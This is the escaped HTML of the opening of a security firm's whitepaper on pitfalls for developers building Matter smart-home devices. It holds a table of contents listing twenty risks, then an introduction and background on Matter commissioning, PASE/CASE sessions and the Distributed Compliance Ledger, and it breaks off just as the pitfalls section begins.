href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-8-risks-specific-to-controllers-commissioners-edge-routers-bridges-ota-providers-and-ota-requestors"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-8-risks-specific-to-controllers-commissioners-edge-routers-bridges-ota-providers-and-ota-requestors"
class="link-background inline split"
>
&lt;span class="link-label">8:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-8-risks-specific-to-controllers-commissioners-edge-routers-bridges-ota-providers-and-ota-requestors"
class="link-background inline split"
>
&lt;span class="link-label">Risks&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-8-risks-specific-to-controllers-commissioners-edge-routers-bridges-ota-providers-and-ota-requestors"
class="link-background inline split"
>
&lt;span class="link-label">specific&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-8-risks-specific-to-controllers-commissioners-edge-routers-bridges-ota-providers-and-ota-requestors"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-8-risks-specific-to-controllers-commissioners-edge-routers-bridges-ota-providers-and-ota-requestors"
class="link-background inline split"
>
&lt;span class="link-label">controllers,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-8-risks-specific-to-controllers-commissioners-edge-routers-bridges-ota-providers-and-ota-requestors"
class="link-background inline split"
>
&lt;span class="link-label">commissioners,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-8-risks-specific-to-controllers-commissioners-edge-routers-bridges-ota-providers-and-ota-requestors"
class="link-background inline split"
>
&lt;span class="link-label">edge&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-8-risks-specific-to-controllers-commissioners-edge-routers-bridges-ota-providers-and-ota-requestors"
class="link-background inline split"
>
&lt;span class="link-label">routers,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-8-risks-specific-to-controllers-commissioners-edge-routers-bridges-ota-providers-and-ota-requestors"
class="link-background inline split"
>
&lt;span class="link-label">bridges,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-8-risks-specific-to-controllers-commissioners-edge-routers-bridges-ota-providers-and-ota-requestors"
class="link-background inline split"
>
&lt;span class="link-label">OTA&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-8-risks-specific-to-controllers-commissioners-edge-routers-bridges-ota-providers-and-ota-requestors"
class="link-background inline split"
>
&lt;span class="link-label">providers&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-8-risks-specific-to-controllers-commissioners-edge-routers-bridges-ota-providers-and-ota-requestors"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-8-risks-specific-to-controllers-commissioners-edge-routers-bridges-ota-providers-and-ota-requestors"
class="link-background inline split"
>
&lt;span class="link-label">OTA&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-8-risks-specific-to-controllers-commissioners-edge-routers-bridges-ota-providers-and-ota-requestors"
class="link-background inline split"
>
&lt;span class="link-label">requestors&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-9-unsanitized-user-input"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-9-unsanitized-user-input"
class="link-background inline split"
>
&lt;span class="link-label">9:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-9-unsanitized-user-input"
class="link-background inline split"
>
&lt;span class="link-label">Unsanitized&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-9-unsanitized-user-input"
class="link-background inline split"
>
&lt;span class="link-label">user&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-9-unsanitized-user-input"
class="link-background inline split"
>
&lt;span class="link-label">input&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-10-rogue-commissioners"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-10-rogue-commissioners"
class="link-background inline split"
>
&lt;span class="link-label">10:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-10-rogue-commissioners"
class="link-background inline split"
>
&lt;span class="link-label">Rogue&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-10-rogue-commissioners"
class="link-background inline split"
>
&lt;span class="link-label">commissioners&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-11-devices-may-ignore-device-attestation-verification-results"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-11-devices-may-ignore-device-attestation-verification-results"
class="link-background inline split"
>
&lt;span class="link-label">11:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-11-devices-may-ignore-device-attestation-verification-results"
class="link-background inline split"
>
&lt;span class="link-label">Devices&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-11-devices-may-ignore-device-attestation-verification-results"
class="link-background inline split"
>
&lt;span class="link-label">may&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-11-devices-may-ignore-device-attestation-verification-results"
class="link-background inline split"
>
&lt;span class="link-label">ignore&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-11-devices-may-ignore-device-attestation-verification-results"
class="link-background inline split"
>
&lt;span class="link-label">device&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-11-devices-may-ignore-device-attestation-verification-results"
class="link-background inline split"
>
&lt;span class="link-label">attestation&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-11-devices-may-ignore-device-attestation-verification-results"
class="link-background inline split"
>
&lt;span class="link-label">verification&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-11-devices-may-ignore-device-attestation-verification-results"
class="link-background inline split"
>
&lt;span class="link-label">results&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-12-evil-twin-attack"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-12-evil-twin-attack"
class="link-background inline split"
>
&lt;span class="link-label">12:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-12-evil-twin-attack"
class="link-background inline split"
>
&lt;span class="link-label">Evil&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-12-evil-twin-attack"
class="link-background inline split"
>
&lt;span class="link-label">twin&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-12-evil-twin-attack"
class="link-background inline split"
>
&lt;span class="link-label">attack&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-13-manipulation-of-the-commissioning-custom-flow-url"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-13-manipulation-of-the-commissioning-custom-flow-url"
class="link-background inline split"
>
&lt;span class="link-label">13:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-13-manipulation-of-the-commissioning-custom-flow-url"
class="link-background inline split"
>
&lt;span class="link-label">Manipulation&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-13-manipulation-of-the-commissioning-custom-flow-url"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-13-manipulation-of-the-commissioning-custom-flow-url"
class="link-background inline split"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-13-manipulation-of-the-commissioning-custom-flow-url"
class="link-background inline split"
>
&lt;span class="link-label">CommissioningCustomFlowUrl&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-14-http-downgrade-attack"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-14-http-downgrade-attack"
class="link-background inline split"
>
&lt;span class="link-label">14:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-14-http-downgrade-attack"
class="link-background inline split"
>
&lt;span class="link-label">HTTP&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-14-http-downgrade-attack"
class="link-background inline split"
>
&lt;span class="link-label">downgrade&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-14-http-downgrade-attack"
class="link-background inline split"
>
&lt;span class="link-label">attack&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-15-missing-minimal-requirements-for-underlying-communication-channels"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-15-missing-minimal-requirements-for-underlying-communication-channels"
class="link-background inline split"
>
&lt;span class="link-label">15:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-15-missing-minimal-requirements-for-underlying-communication-channels"
class="link-background inline split"
>
&lt;span class="link-label">Missing&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-15-missing-minimal-requirements-for-underlying-communication-channels"
class="link-background inline split"
>
&lt;span class="link-label">minimal&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-15-missing-minimal-requirements-for-underlying-communication-channels"
class="link-background inline split"
>
&lt;span class="link-label">requirements&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-15-missing-minimal-requirements-for-underlying-communication-channels"
class="link-background inline split"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-15-missing-minimal-requirements-for-underlying-communication-channels"
class="link-background inline split"
>
&lt;span class="link-label">underlying&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-15-missing-minimal-requirements-for-underlying-communication-channels"
class="link-background inline split"
>
&lt;span class="link-label">communication&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-15-missing-minimal-requirements-for-underlying-communication-channels"
class="link-background inline split"
>
&lt;span class="link-label">channels&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-16-manipulation-of-sleepy-end-device-parameters"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-16-manipulation-of-sleepy-end-device-parameters"
class="link-background inline split"
>
&lt;span class="link-label">16:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-16-manipulation-of-sleepy-end-device-parameters"
class="link-background inline split"
>
&lt;span class="link-label">Manipulation&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-16-manipulation-of-sleepy-end-device-parameters"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-16-manipulation-of-sleepy-end-device-parameters"
class="link-background inline split"
>
&lt;span class="link-label">sleepy&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-16-manipulation-of-sleepy-end-device-parameters"
class="link-background inline split"
>
&lt;span class="link-label">end&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-16-manipulation-of-sleepy-end-device-parameters"
class="link-background inline split"
>
&lt;span class="link-label">device&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-16-manipulation-of-sleepy-end-device-parameters"
class="link-background inline split"
>
&lt;span class="link-label">parameters&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-17-status-report-message-injection"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-17-status-report-message-injection"
class="link-background inline split"
>
&lt;span class="link-label">17:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-17-status-report-message-injection"
class="link-background inline split"
>
&lt;span class="link-label">Status&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-17-status-report-message-injection"
class="link-background inline split"
>
&lt;span class="link-label">report&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-17-status-report-message-injection"
class="link-background inline split"
>
&lt;span class="link-label">message&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-17-status-report-message-injection"
class="link-background inline split"
>
&lt;span class="link-label">injection&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-18-revocation-from-groups"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-18-revocation-from-groups"
class="link-background inline split"
>
&lt;span class="link-label">18:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-18-revocation-from-groups"
class="link-background inline split"
>
&lt;span class="link-label">Revocation&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-18-revocation-from-groups"
class="link-background inline split"
>
&lt;span class="link-label">from&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-18-revocation-from-groups"
class="link-background inline split"
>
&lt;span class="link-label">groups&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-19-underspecification-of-timed-interactions"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-19-underspecification-of-timed-interactions"
class="link-background inline split"
>
&lt;span class="link-label">19:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-19-underspecification-of-timed-interactions"
class="link-background inline split"
>
&lt;span class="link-label">Underspecification&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-19-underspecification-of-timed-interactions"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-19-underspecification-of-timed-interactions"
class="link-background inline split"
>
&lt;span class="link-label">timed&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-19-underspecification-of-timed-interactions"
class="link-background inline split"
>
&lt;span class="link-label">interactions&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-20-dysfunctional-implementations-of-event-logging"
class="link-background inline split"
>
&lt;span class="link-label">No.&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-20-dysfunctional-implementations-of-event-logging"
class="link-background inline split"
>
&lt;span class="link-label">20:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-20-dysfunctional-implementations-of-event-logging"
class="link-background inline split"
>
&lt;span class="link-label">Dysfunctional&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-20-dysfunctional-implementations-of-event-logging"
class="link-background inline split"
>
&lt;span class="link-label">implementations&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-20-dysfunctional-implementations-of-event-logging"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-20-dysfunctional-implementations-of-event-logging"
class="link-background inline split"
>
&lt;span class="link-label">event&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations#no-20-dysfunctional-implementations-of-event-logging"
class="link-background inline split"
>
&lt;span class="link-label">logging&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations/#conclusion"
class="link-background inline no-spaces"
>
&lt;span class="link-label">Conclusion&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/matter-security-considerations/#references--credits"
class="link-background inline no-spaces"
>
&lt;span class="link-label">References&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ol>
&lt;br>
&lt;br>
&lt;h2 id="introduction">Introduction&lt;/h2>
&lt;p>As the Internet of Things (IoT) continues to grow, the demand for smart home devices that can communicate with one another has increased significantly. The upcoming &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://csa-iot.org/all-solutions/matter/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Matter&lt;/span>
&lt;/a>&lt;a
href="https://csa-iot.org/all-solutions/matter/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">standard&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
provides a unified and secure approach to connect various smart devices, enabling them to work seamlessly with each other. However, this increased connectivity also means increased exposure to cyber-attacks, which can compromise users' personal information and privacy.&lt;/p>
&lt;p>This whitepaper is directed at developers of Matter products and provides a summary of security considerations and pitfalls that should be kept in mind when developing Matter products, based on a security analysis of Matter conducted in a master&amp;rsquo;s thesis at SCHUTZWERK. Developers of Matter products can adopt these advices to ensure secure and reliable connectivity for their smart home devices.
The paper covers security-related topics such commissioning, passcodes, randoms, group communication, bridges and multi-admin.
It provides considerations that can be easily overlooked by manufacturers due to the high complexity of the young but promising Matter standard.
We expect that readers of this whitepaper have already a basic understanding of Matter. For more technical details, please refer to the full security analysis [1].&lt;/p>
&lt;p>Additionally, the paper highlights the importance of secure-by-design device development as well as regularly testing and updating device security measures to keep up with evolving cyber threats.&lt;/p>
&lt;p>By adopting the Matter security best practices outlined in this whitepaper, device developers can create smart home devices that are secure, reliable, and trusted by users. The implementation of these practices not only protects users' personal information and privacy but also helps device developers build a positive brand reputation and gain a competitive edge in the IoT market.&lt;/p>
&lt;h2 id="problem-statement">Problem Statement&lt;/h2>
&lt;p>The Matter specification describes an application layer standard that promises security-by-design, interoperability across devices of different manufacturers
and improved user experience. Due to the significance of the companies that have already engaged with Matter, we expect Matter to be greatly welcomed and adopted by manufacturers and users in the following years.&lt;/p>
&lt;p>Although Matter has been developed with security in mind, and no public vulnerabilities are known so far, a great deal of caution has to be taken when working with young standards. This is because even though they might be robust against many well-known vulnerabilities per design, they have not been as thoroughly tested as market-proven protocols and might therefore contain yet unknown vulnerabilities, whereas older standards offer a better understanding of potential security risks.
Even though the Matter functional security is described as self-contained [3], where security measures of the core specification are sufficient to protect devices, and although the specification has been tested for security during development, we were able to identify a handful of risks that can negatively impact the users' security and privacy.&lt;/p>
&lt;p>The Matter specification is comprehensive and technical piece of work, that is not understood easily without weeks to months of commitment.
There are several security and privacy relevant sections that give developers freedom on how to implement them, which risks manufacturers making mistakes that can lead to vulnerabilities.
We expect that many developers, especially smaller development teams, will not be granted the time for fully understanding the Matter specification and its security implications.
Therefore, we hereby provide a brief summary of the most significant security considerations we identified throughout our analysis of the Matter specification, to help device manufacturers avoid common pitfalls, which we expect will be addressed in later revisions of the Matter specification in order to uphold its promise of sufficient device protection by the core specification.&lt;/p>
&lt;h2 id="background">Background&lt;/h2>
&lt;p>Let&amp;rsquo;s reach back a little. For the reader to be able to understand the following section, we briefly summarize the relevant core features of Matter.&lt;/p>
&lt;h3 id="supported-transports-and-device-types">Supported transports and device types&lt;/h3>
&lt;p>As depicted in Figure 1, Matter allows interoperability between devices of different communication technologies, which are currently Wi-Fi, Ethernet and Thread.&lt;/p>
&lt;figure
style="width: 70%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/matter-network-overview-cmu_hu98c93a7f1d1c433eca51b79d2ba3ee13_55369_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/matter-network-overview-cmu_hu98c93a7f1d1c433eca51b79d2ba3ee13_55369_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/matter-network-overview-cmu_hu98c93a7f1d1c433eca51b79d2ba3ee13_55369_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/matter-security-considerations/matter-network-overview-cmu.png"
width="1159"
height="792"
alt="Figure 1: Nodes, controllers, edge routers and sleepy end devices."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Figure 1: Nodes, controllers, edge routers and sleepy end devices.&lt;/figcaption>
&lt;/figure>
&lt;p>Here, &lt;em>nodes&lt;/em> are regular devices with no special role, &lt;em>edge routers&lt;/em> are devices that connect two different communication technologies, &lt;em>controllers&lt;/em> are devices that can be used to control other devices in a network, and &lt;em>sleepy end devices&lt;/em> are devices that can switch into idle mode to save energy.&lt;/p>
&lt;p>But there&amp;rsquo;s even more. We also have &lt;em>bridges&lt;/em>, which allow &lt;em>bridged&lt;/em> Non-Matter devices to interact with Matter devices, as depicted in Figure 2.&lt;/p>
&lt;figure
style="width: 70%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/matter-network-overview-bridges-cmu_hua1b2eb38d4c0e74ef8798300fcbf7cbb_43470_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/matter-network-overview-bridges-cmu_hua1b2eb38d4c0e74ef8798300fcbf7cbb_43470_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/matter-network-overview-bridges-cmu_hua1b2eb38d4c0e74ef8798300fcbf7cbb_43470_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/matter-security-considerations/matter-network-overview-bridges-cmu.png"
width="784"
height="785"
alt="Figure 2: Bridges and bridged devices."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Figure 2: Bridges and bridged devices.&lt;/figcaption>
&lt;/figure>
&lt;h3 id="commissioning-and-session-establishments">Commissioning and session establishments&lt;/h3>
&lt;p>When we want to add a device to a Matter network, we first need to commission it.
You can think of it as the initial pairing. Although Matter communication in general uses Wi-Fi, Ethernet and Thread, commissioning can be performed over Bluetooth Low Energy (BLE). The process is depicted in Figure 3.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/commissioning-phases-cmu_huf41fe668f0a7fea400665cb3171eb348_83705_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/commissioning-phases-cmu_huf41fe668f0a7fea400665cb3171eb348_83705_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/commissioning-phases-cmu_huf41fe668f0a7fea400665cb3171eb348_83705_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/matter-security-considerations/commissioning-phases-cmu.png"
width="1800"
height="542"
alt="Figure 3: Overview of the commissioning phases. Brown depicts unsecured communication, green is PASE-secured and blue is CASE-secured. Modified version of Nordic Semiconductor&amp;#39;s depiction."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Figure 3: Overview of the commissioning phases. Brown depicts unsecured communication, green is PASE-secured and blue is CASE-secured. Modified version of Nordic Semiconductor&amp;#39;s depiction.&lt;/figcaption>
&lt;/figure>
&lt;p>During commissioning, three device roles can be differentiated: commissioners, commissionees and administrators.
There are multiple ways in which a device can be commissioned, but the most basic one is as follows:
The user enters the onboarding payload of the commissionee, which is the joining device, into the commissioner to establish its identity.
This code is unique to a device and includes a setup code and
cryptographic information required for the secure connection.
This initiates the device discovery stage, in which the user then has to push a pairing button on the commissionee to start the beaconing by which it communicates that it needs to be added to the network and advertises its identity information. The commissioner, who listens to the announcements, discovers the commissionee and initiates the password-authenticated session establishment (PASE), which is used by the two parties to establish a secure connection using the setup code as the out-of-band (OOB) passcode.&lt;/p>
&lt;p>The PASE uses a fairly young password-authenticated key-exchange (PAKE) algorithm SPAKE2+ and serves multiple means: to establish a fail-safe during commissioning, for preliminary node configuration, verification that the commissionee is a certified Matter device, installation of operational credentials and network commissioning.
The operational credentials include a node operational certificate (NOC), which needs to be signed by either an Intermediate Certification Authority (ICA) or directly by the Root Certificate Authority (RCA).
Having obtained a valid NOC, the commissionee becomes a new node in the Matter fabric, which you can think of as a Matter network.
Note that the commissioning network is distinct from the operational network to which the device is added.
An Administrator administers nodes in a fabric, while the commissioner adds nodes to a fabric. Commissioner and administrator can be the same device, but are not required to.&lt;/p>
&lt;p>Nodes that own a valid NOC can initiate a certificate-authenticated session establishment (CASE) to initiate communication with other nodes in a fabric.
Here, nodes mutually authenticate to each other and derive shared secrets by use of their certificates and key pairs.&lt;/p>
&lt;h3 id="the-distributed-compliance-ledger-dcl">The Distributed Compliance Ledger (DCL)&lt;/h3>
&lt;p>There is one more concept we need to outline: the Distributed Compliance Ledger (DCL), which is used to store useful device-related information. During commissioning, it is used to verify, that a device is Matter certified, but it can also store manufacturer-controlled URLs which may be integrated into a device&amp;rsquo;s application logic.&lt;/p>
&lt;p>Armed with this knowledge, we are now ready to continue to the next section, in which we take a look at Matter-specific caveats.&lt;/p>
&lt;h2 id="common-pitfalls-and-how-to-avoid-them">Common pitfalls and how to avoid them&lt;/h2>
&lt;p>Here are the top twenty Matter-specific security pitfalls that device developers should consider, along with possible solutions.
Note that the order in which the weaknesses are presented does not indicate the severity of the impact.
We added recommendations on how to address these issues for some of the pitfalls.
